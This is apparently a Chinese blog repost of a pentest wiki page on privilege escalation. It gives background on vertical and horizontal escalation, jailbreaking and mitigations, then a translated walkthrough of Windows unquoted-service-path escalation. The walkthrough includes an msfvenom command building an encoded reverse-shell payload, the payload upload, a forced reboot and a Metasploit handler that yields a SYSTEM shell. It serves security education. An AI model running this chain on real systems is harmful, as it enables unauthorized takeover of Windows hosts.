• <noscript id="e0iig"><kbd id="e0iig"></kbd></noscript>
  • <td id="e0iig"></td>
  • <option id="e0iig"></option>
  • <noscript id="e0iig"><source id="e0iig"></source></noscript>
  • Pentest Wiki Part5 提權

    pentest wiki part5

    權限提升

    提權是指利用操作系統或應用軟件中的程序錯誤、設計缺陷或配置疏忽來獲取對應用程序或用戶來說受保護資源的高級訪問權限。其結果是,應用程序可以獲取比應用程序開發者或系統管理員預期的更高的特權,從而可以執行授權的動作。

    提權的分類:

    • 密碼攻擊
    • 媒介提權
    • 協議分析
    • 欺騙攻擊

    ps:以下來自于維基百科

    背景

    大多數計算機系統的設計是面向著多個用戶。特權表示用戶被允許執行的操作。常見的特權包括查看、編輯或修改系統文件。

    特權提升表示用戶設法得到本不應該有的權限。這些權限可能用于刪除文件、查看私人信息或者安裝非法程序(如計算機病毒或惡意軟件)等,也可能用來解除制造商或管理員的某些特殊限制。它的發生通常是因為系統存在一個允許繞過安全措施的程序錯誤,或者利用了設計上的缺陷。特權提升有兩種形式:

    • 垂直特權提升,是通常所指的特權提升(privilege elevation),其中較低特權的用戶或應用程序將能訪問為較高特權用戶或應用程序保留的功能或內容(例如,網上銀行用戶訪問到網站管理功能,或者繞過密碼認證措施)
    • 水平特權提升,指普通用戶訪問到本應不能訪問的為其他普通用戶保留的功能或內容(例如網上銀行用戶A訪問了用戶B的網上銀行賬戶)


    垂直特權提升

    例子

    在某些范例中,高特權應用程序假定它只是提供與接口規范匹配的輸入,并且不會驗證輸入。然后,攻擊者可以利用這一假設,使未經授權的代碼以應用程序的特權運行# :

    • 有些Windows服務是配置為在Local System用戶帳戶下運行。諸如緩沖區溢出等隱患可能被用來執行特權提升,從而在本地系統級別執行任意代碼。除此之外,如果模擬用戶時的錯誤處理不正確(例如,用戶引入一個惡意的錯誤處理程序),采用較低用戶特權的系統服務也可能被提升用戶特權。
    • 在部分舊版Microsoft Windows操作系統中,All Users的屏幕保護程序在Local System帳戶下運行——任何帳戶都可以替換文件系統中或注冊表中的當前屏幕保護程序的可執行文件,從而提升特權。
    • 在特定版本的Linux內核中,可以編寫一個將當前目錄設置為/etc/cron.d的程序,然后設法使當前應用被另一個進程kill并產生一個核心轉儲。核心轉儲文件被放置到程序的當前目錄,即/etc/cron.d,然后cron將會視它為一個文本文件并按它的指示運行程序。因為該文件的內容可能受到攻擊者的控制,因而攻擊者將能以root特權執行任意程序。
    • 跨區域腳本是一種特權提升攻擊,其中網站擊破了網頁瀏覽器的安全模型,從而可以在客戶端的計算機上運行惡意代碼。
    • 還有一種情況是,應用程序可能使用其他高特權服務,并對客戶端操控這些服務的用法有著不正確的假設。如果應用程序使用未經檢查的輸入作為執行的一部分,則它可能出現代碼注入問題,從而執行用戶提供的命令行或shell命令。攻擊者因而可以使用應用程序的權限運行系統命令。
    • 德州儀器計算器(特別是TI-85和TI-82)最初被設計為僅解釋以TI-BASIC的方言編寫的程序。但是,在用戶發現可利用漏洞允許在計算器硬件上執行Z-80代碼后,TI發布了編程數據以支持第三方開發。(此做法并未延伸到基于ARM架構的TI-Nspire,在使用Ndless的越獄方法被發現后,此做法仍被德州儀器積極打擊。)
    • 部分iPhone版本允許未授權的用戶在已鎖定時訪問手機。
    越獄

    越獄(jailbreak)是用于在類UNIX操作系統中擊破chroot或jail的限制或繞過數字版權管理(DRM)的行為或工具。在前一種情況下,它允許用戶查看管理員計劃給應用程序或用戶使用的文件系統部分之外的文件。在DRM情況下,這將允許用戶在具有DRM的設備上運行任意代碼,以及突破類似chroot的限制。該術語起源于iPhone/iOS越獄社區,并也被用于PlayStation Portable**的術語。這些設備已一再遭到越獄從而為執行任意代碼,供應商的更新則在封堵這些越獄途徑。

    • iOS系統(包括iPhone、iPad和iPod touch)自發布以來都受到過越獄的嘗試,并在隨著每個固件更新而修正與跟進。iOS越獄工具包含選項來安裝Cydia——一個第三方的App Store,作為查找和安裝系統修改器和二進制文件的一種方式。為防止iOS越獄,蘋果公司已對設備的引導程序采用SHSH blob執行檢查,從而禁止上傳自定義內核,并防止將軟件降級到較早的可越獄固件。在未受限制的越獄中,iBoot環境被更改為執行一個boot ROM漏洞,并允許提交對底層bootloader的補丁,或者hack內核以在SHSH檢查后轉交給越獄內核。

    • 一種類似的越獄方法也存在于S60平臺的智能手機,它涉及到在內存或已編輯固件(類似于PlayStation Portable的M33**固件)中給已加載的特定ROM文件安裝softmod式補丁來規避對未簽名代碼的限制。諾基亞發布了更新以遏制未經授權的越獄,方式與蘋果公司類似。

    • 在游戲主機上,越獄經常用于執行自制游戲。在2011年,索尼在Kilpatrick Stockton律師事務所的協助下起訴了21歲的喬治·霍茲以及為PlayStation 3越獄的fail0verflow小組的成員(見Sony Computer Entertainment America v.、George Hotz和PlayStation越獄)

    緩解措施

    操作系統和用戶可以使用以下策略降低特權提升的風險:

    • 數據執行保護
    • 地址空間配置隨機加載(使緩沖區溢出更難在內存中找到已知地址來執行特權指令)
    • 運行的應用程序采用最小權限原則(例如不使用管理員SID運行Internet Explorer)從而減少緩沖區溢出exploits濫用高級用戶特權的可能性。
    • 要求內核模式代碼具有數字簽名。
    • 使用最新的殺毒軟件
    • 打補丁
    • 使用防止緩沖區溢出的編譯器
    • 軟件和固件的加密。
    • 使用具備強制訪問控制的操作系統,例如SE Linux
      #### 水平特權提升
      當應用程序允許攻擊者訪問通常受到應用程序或用戶保護的資源時,則發生了水平特權提升。其結果是,應用程序執行的操作與之相同,但使用或得到了與應用程序開發者或系統管理員預期不同的安全上下文;這是一種有限程度的特權提升(具體來說,未經授權地模仿了其他用戶)。

    例子
    這個問題經常發生在網絡應用程序中。考慮下列例子:

    • 用戶A可以在網上銀行應用中訪問自己的銀行賬戶。
    • 用戶B可以在同一個網上銀行應用中訪問自己的銀行賬戶。
    • 當用戶A通過某種惡意行為能訪問用戶B的銀行賬戶時,則發生了此問題。
    • 由于常見的Web應用程序弱點或漏洞,這種惡意活動經常出現。

    可能導致此問題的潛在Web應用程序漏洞或情況包括:

    • 用戶的HTTP Cookie中可預測的會話ID
    • 會話固定
    • 跨網站腳本
    • 容易猜到的密碼
    • 盜取或劫持會話Cookie
    • 鍵盤監聽

    權限提升的手法

    ps:這一部分是我自己加的,原文只有上面的介紹,也就是科普的效果,但是提權的常見思路還是要掌握。

    windows-privilege-escalation-methods-for-pentesters

    win下的翻譯是來自于這篇博客:https://pentest.blog/windows-privilege-escalation-methods-for-pentesters

    想象一下,你已經在Windows機器上獲得了低權限的Meterpreter會話。 可能你會運行getsystem升級你的權限。 但是如果失敗呢?

    莫慌。 還有一些技巧可以嘗試。

    <h6>Unquoted Service Paths</h6>

    基本上,如果服務可執行文件路徑沒有用引號括起來并且包含空格,就會發生一個漏洞。
    關于這個漏洞,這里有詳細介紹!
    要識別這些不帶引號的服務,您可以在Windows命令行管理程序上運行此命令:

    wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

    所有帶有不帶引號的可執行文件路徑的服務將被列出:

    meterpreter > shell
    Process 4024 created.
    Channel 1 created.
    Microsoft Windows [Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All rights reserved.
    C:\Users\testuser\Desktop>wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
    wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
    Vulnerable Service                                      Vulnerable Service                   C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe                   Auto       
    C:\Users\testuser\Desktop>

    如果您使用Regedit查看此服務的注冊表項,則可以看到ImagePath值為:
    C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe

    應該是這樣的:
    “C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe”


    當Windows嘗試運行此服務時,它將按順序查看以下路徑,并將運行它將找到的第一個EXE:

    C:\Program.exe
    C:\Program Files.exe
    C:\Program Files (x86)\Program.exe
    C:\Program Files (x86)\Program Folder\A.exe
    C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe

    他的漏洞是由Windows操作系統中的CreateProcess函數引起的。 有關更多信息,[請單擊閱讀此文章]https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx)。

    如果我們可以放棄我們的惡意exe文件成功的路徑之一,一旦服務重新啟動,Windows將運行我們的exe作為系統。 但是我們應該對這些文件夾中的一個具有必要的權限。

    為了檢查文件夾的權限,我們可以使用內置的Windows工具icals。 讓我們檢查C:\Program Files(x86)\Program Folder文件夾的權限:

    meterpreter > shell
    Process 1884 created.
    Channel 4 created.
    Microsoft Windows [Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All rights reserved.
    C:\Program Files (x86)\Program Folder>icacls "C:\Program Files (x86)\Program Folder"
    icacls "C:\Program Files (x86)\Program Folder"
    C:\Program Files (x86)\Program Folder Everyone:(OI)(CI)(F)
                                          NT SERVICE\TrustedInstaller:(I)(F)
                                          NT SERVICE\TrustedInstaller:(I)(CI)(IO)(F)
                                          NT AUTHORITY\SYSTEM:(I)(F)
                                          NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
                                          BUILTIN\Administrators:(I)(F)
                                          BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
                                          BUILTIN\Users:(I)(RX)
                                          BUILTIN\Users:(I)(OI)(CI)(IO)(GR,GE)
                                          CREATOR OWNER:(I)(OI)(CI)(IO)(F)
                                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
                                          APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(OI)(CI)(IO)(GR,GE)
    Successfully processed 1 files; Failed processing 0 files
    C:\Program Files (x86)\Program Folder>

    G00d Lucky ! 正如你所看到的,everyone都完全控制這個文件夾。

    F =完全控制
    CI =容器繼承 - 此標志指示從屬容器將繼承此ACE。
    OI = Object Inherit - 這個標志表示從屬文件將繼承ACE。

    這意味著我們可以自由地把任何文件放到這個文件夾中!

    從現在開始,你要做什么取決于你的想象力。 我只是喜歡生成一個反向shell 的payload作為系統運行。

    MSFvenom可以用于這項工作:

    root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o A.exe
    No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    No Arch selected, selecting Arch: x86 from the payload
    Found 1 compatible encoders
    Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
    x86/shikata_ga_nai succeeded with size 360 (iteration=0)
    x86/shikata_ga_nai chosen with final size 360
    Payload size: 360 bytes
    Final size of exe file: 73802 bytes
    Saved as: A.exe

    上傳我們的 payload 到C:\Program Files (x86)\Program Folder 文件夾:

    meterpreter > getuid
    Server username: TARGETMACHINE\testuser
    meterpreter > cd "../../../Program Files (x86)/Program Folder"
    meterpreter > ls
    Listing: C:\Program Files (x86)\Program Folder
    ==============================================
    Mode             Size  Type  Last modified              Name
    ----             ----  ----  -------------              ----
    40777/rwxrwxrwx  0     dir   2017-01-04 21:43:28 -0500  A Subfolder
    meterpreter > upload -f A.exe
    [*] uploading  : A.exe -> A.exe
    [*] uploaded   : A.exe -> A.exe
    meterpreter > ls
    Listing: C:\Program Files (x86)\Program Folder
    ==============================================
    Mode              Size   Type  Last modified              Name
    ----              ----   ----  -------------              ----
    40777/rwxrwxrwx   0      dir   2017-01-04 21:43:28 -0500  A Subfolder
    100777/rwxrwxrwx  73802  fil   2017-01-04 22:01:32 -0500  A.exe
    meterpreter >

    服務器重啟后,A.exe將以SYSTEM身份運行。 讓我們嘗試停止并重新啟動服務:

    meterpreter > shell
    Process 1608 created.
    Channel 2 created.
    Microsoft Windows [Version 6.3.9600]
    (c) 2013 Microsoft Corporation. All rights reserved.
    C:\Users\testuser\Desktop>sc stop "Vulnerable Service"
    sc stop "Vulnerable Service"
    [SC] OpenService FAILED 5:
    Access is denied.
    C:\Users\testuser\Desktop>

    訪問被拒絕,因為我們沒有權限來停止或啟動服務。 但是,這并不是什么大事,我們可以等待某個人重新啟動機器,或者我們可以使用shutdown命令自行完成:

    C:\Users\testuser\Desktop>shutdown /r /t 0
    shutdown /r /t 0
    C:\Users\testuser\Desktop>
    [*] 192.168.2.40 - Meterpreter session 8 closed. Reason: Died

    正如你所看到的,我們的會話已經丟失。 別忘記我們的秘密shell。

    我們的目標機器正在重新啟動。 不久,我們的payload將作為系統工作。 我們應該立即啟動一個處理程序。

    msf > use exploit/multi/handler 
    msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf exploit(handler) > set lhost 192.168.2.60 
    lhost => 192.168.2.60
    msf exploit(handler) > set lport 8989
    lport => 8989
    msf exploit(handler) > run
    [*] Started reverse TCP handler on 192.168.2.60:8989 
    [*] Starting the payload handler...
    [*] Sending stage (957999 bytes) to 192.168.2.40
    [*] Meterpreter session 1 opened (192.168.2.60:8989 -> 192.168.2.40:49156) at 2017-01-04 22:37:17 -0500
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > 
    [*] 192.168.2.40 - Meterpreter session 1 closed.  Reason: Died

    現在我們已經獲得了具有SYSTEM權限的Meterpreter shell。 舉手擊掌!

    但是等一下,為什么我們的會議這么快就死了? 我們剛剛開始!

    不用擔心。 這是因為,在Windows操作系統中啟動服務時,它必須與服務控制管理器進行通信。 如果不是這樣,服務控制管理器認為有問題,并終止該過程。

    我們所需要做的是在SCM終止我們的payload之前遷移到另一個進程,或者您可以考慮使用自動遷移。

    版權聲明:本文為Fly_hps原創文章,遵循 CC 4.0 BY-SA 版權協議,轉載請附上原文出處鏈接和本聲明。
    本文鏈接:https://blog.csdn.net/Fly_hps/article/details/80970593

    智能推薦

    提權

    目錄 什么是提權 用戶劃分 windows權限 linux權限 提權類別 本地提權 1.AT命令提權 2.SC命令提權 3.內核提權 4.注入進程提權 注入進程提權的流程 漏洞提權 爛土豆提權 限制條件 webshell版腳本 臟牛提權 巴西烤肉 利用配置不當提權 使用icacls軟件(windows) linux 1. 找到配置不當的文件 2.在目標文件里添加腳本 其它提權方式 數據庫提權 1....

    Struts2 Part5

    原作者:尚硅谷-佟剛 驗證 validation.jsp struts2配置文件 TestValidationAction.java TestValidationAction-validation.xml i18n.properties validatos.xml IDCardValidator.java IDCard.java 覆蓋struts的默認文件,添加如下代碼 頁面運行結果...

    <Android開源庫> MPAndroidChart Wiki(譯文)~Part 1

    1. 基礎入門 1.1 添加依賴 Gradle 工程添加依賴 (推薦使用) 項目級build.gradle中添加: App下的 build.gradle中添加: Maven pom.xml中添加如下repositories: pom.xml中添加如下dependencies 直接使用Jar包文件 下載最新的.jar包,拷貝下載的文件到你的Android項目libs文件夾下然后開始使用這個開源庫。 ...

    <Android開源庫> MPAndroidChart Wiki(譯文)~Part 2

    7. 填充數據 這一章節將講解給各式各樣的圖表設置數據的方法。 7.1 LineChart(線形圖) 想給圖表添加數據,使用如下方法: 基類ChartData囊括所有圖表在渲染過程中所需要的信息。針對不同的圖表,有不同的ChartData的子類來為對應的圖表設置數據,例如針對LineChart,你可以使用LineData。在構造函數中,你可以傳遞List 那么,什么是DataSet?為什么你需要使...

    提權學習:Linux提權(利用SUID 提權)

    前言 今天給大家帶來的是linux下的提權技巧。 SUID是Linux的一種權限機制,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。如果擁有SUID權限,那么就可以利用系統中的二進制文件和工具來進行root提權。 已知的可用來提權的linux可行性的文件列表如下: Nmap Vim find Bash More Less Nano cp 以下命令可以發現系統上運行的所有SUI...

    猜你喜歡

    提權 --Windows提權方式總結

    文章目錄 一、提權含義 二、環境搭建 2.1 環境一覽 2.2 靶機環境搭建 三、信息收集 3.1前提條件 3.2 基本信息收集 3.2.1 判斷操作系統 3.2.2 判別當前權限 3.2.3 其它信息獲取 3.3 高級信息收集 3.3.1 獲取安裝軟件信息 3.3.2 wmic后滲透命令 四、主動攻擊 4.1 溢出漏洞提權 4.1.1 Metasploit A. 查看當前權限 B. 查看系統補丁...

    HTML中常用操作關于:頁面跳轉,空格

    1.頁面跳轉 2.空格的代替符...

    freemarker + ItextRender 根據模板生成PDF文件

    1. 制作模板 2. 獲取模板,并將所獲取的數據加載生成html文件 2. 生成PDF文件 其中由兩個地方需要注意,都是關于獲取文件路徑的問題,由于項目部署的時候是打包成jar包形式,所以在開發過程中時直接安照傳統的獲取方法沒有一點文件,但是當打包后部署,總是出錯。于是參考網上文章,先將文件讀出來到項目的臨時目錄下,然后再按正常方式加載該臨時文件; 還有一個問題至今沒有解決,就是關于生成PDF文件...

    電腦空間不夠了?教你一個小秒招快速清理 Docker 占用的磁盤空間!

    Docker 很占用空間,每當我們運行容器、拉取鏡像、部署應用、構建自己的鏡像時,我們的磁盤空間會被大量占用。 如果你也被這個問題所困擾,咱們就一起看一下 Docker 是如何使用磁盤空間的,以及如何回收。 docker 占用的空間可以通過下面的命令查看: TYPE 列出了docker 使用磁盤的 4 種類型: Images:所有鏡像占用的空間,包括拉取下來的鏡像,和本地構建的。 Con...

    requests實現全自動PPT模板

    http://www.1ppt.com/moban/ 可以免費的下載PPT模板,當然如果要人工一個個下,還是挺麻煩的,我們可以利用requests輕松下載 訪問這個主頁,我們可以看到下面的樣式 點每一個PPT模板的圖片,我們可以進入到詳細的信息頁面,翻到下面,我們可以看到對應的下載地址 點擊這個下載的按鈕,我們便可以下載對應的PPT壓縮包 那我們就開始做吧 首先,查看網頁的源代碼,我們可以看到每一...

    精品国产乱码久久久久久蜜桃不卡